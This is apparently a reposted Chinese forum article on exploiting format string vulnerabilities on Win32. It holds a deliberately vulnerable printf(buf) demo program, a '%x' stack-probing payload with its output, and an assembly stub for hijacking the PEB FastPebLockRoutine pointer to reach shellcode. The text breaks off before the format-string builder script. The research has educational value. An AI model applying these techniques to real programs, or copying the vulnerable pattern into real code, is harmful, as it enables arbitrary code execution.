- 主题
- 0
- 积分
- 0
- 贝壳
- 0 个
- 注册时间
- 2006-11-11
- 最后登录
- 2006-11-11
|
Win32平台格式化串漏洞利用技术
本文缘起KF在0dd邮件列表的问题,由于Win32平台的格式化串漏洞相对很少,所以以前没有关注过。不过David Litchfield曾经写过Win32平台格式化串漏洞的利用技术,但是他用的方法并不是很好,于是有了此文。
1.1 Win32平台格式化串与其它平台的不同
在Linux平台下直接指定要访问的参数的"$"格式符在Win32下根本就不支持:
D:\working\research\Win32 format\2004.10.27>type d_test.c
main()
{
printf ("%6$d\n", 6, 5, 4, 3, 2, 1);
}
用VC6编译后运行查看结果:
D:\working\research\Win32 format\2004.10.27>cl d_test.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
d_test.c
Microsoft (R) Incremental Linker Version 6.00.8447
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
/out:d_test.exe
d_test.obj
D:\working\research\Win32 format\2004.10.27>d_test
$d
输出的居然就是"$d"。所以在Linux平台的那种"%%%d$hn"格式串在Win32下是无法利用,不过这也没关系,用其它格式符pop参数就可以了。存在的弊端就是构造格式串的字符串可能会稍长,但这在很多情况下是不影响的。
另外还有一个问题就是Win32的堆栈地址不如Linux/Unix那么稳定,而且Win32堆栈地址一般都是0x0012e000这样的地址,最开始的一个字节包含0,所以覆盖函数保存在堆栈里的返回地址的方法就不是那么自如了(David Litchfield提到的方法是把堆栈地址放在格式串的最后,那么和格式串结束符0正好组合成完整的堆栈地址),选堆栈地址作为shellcode地址也不是那么稳定。下面我们将用实例演示Win32平台格式串更好的利用方法。
1.2 Win32平台格式化串的利用方法演示
首先我们构造一个存在格式化串漏洞的程序:
/* Windows format strings demo
*
* san@xfocus.org
* 2004.10.26
*/
#include
#define IOSIZE 1024
int main(int argc, char **argv )
{
FILE * binFileH;
char binFile[] = "binfile";
char buf[IOSIZE];
if ( (binFileH = fopen(binFile, "rb")) == NULL )
{
printf("can't open file %s!\n", binFile);
exit();
}
memset(buf, 0, sizeof(buf));
fread(buf, sizeof(char), IOSIZE, binFileH);
printf("%d\n", strlen(buf));
printf(buf);
fclose(binFileH);
}
这是一个很简单的程序,它从当前目录的"binfile"文件读取内容,然后把这些内容直接作为printf的参数打印,典型的格式化串漏洞。构造一个包含如下内容的"binfile"文件:
AAAABBBB|%x|%x|%x|%x|%x
运行这个format程序:
D:\working\research\Win32 format\2004.10.27>format
23
AAAABBBB|666e6962|656c69|41414141|42424242|7c78257c
可以发现只需pop掉两次参数就能显示格式串最开始的内容。不过Win32下我们到底覆盖什么地址比较好呢?BasepCurrentTopLevelFilter指针是个不错主意,但是它的地址在各种版本都不相同。由于格式化串漏洞可以实现多次往任意地址写任意内容,那么我们是否可以写一段代码到一个地址,然后把这个地址写到Peb->FastPebLockRoutine指针,那么在程序退出时调用Peb->FastPebLockRoutine指针就能执行到我们的代码。我们的这个代码来实现搜索堆栈中shellcode的任务:
7FFDF250 54 PUSH ESP
7FFDF251 5F POP EDI
7FFDF252 B8 90909090 MOV EAX,90909090
7FFDF257 FC CLD
7FFDF258 F2:AF REPNE SCAS DWORD PTR ES:[EDI]
7FFDF25A 57 PUSH EDI
7FFDF25B C3 RETN
这段代码的意思是从当前esp开始往高地址搜索包含0x90909090的内容,如果找到就进入该代码执行。往esp高地址还是低地址搜索取决于当时的情况。这个搜索代码有12个字节,加上覆盖地址的4个字节,一共是16个字节,要求往内存地址写8次。由于C语言处理字符串有些麻烦,所以我用PHP写了如下构造格式串的过程:
|
|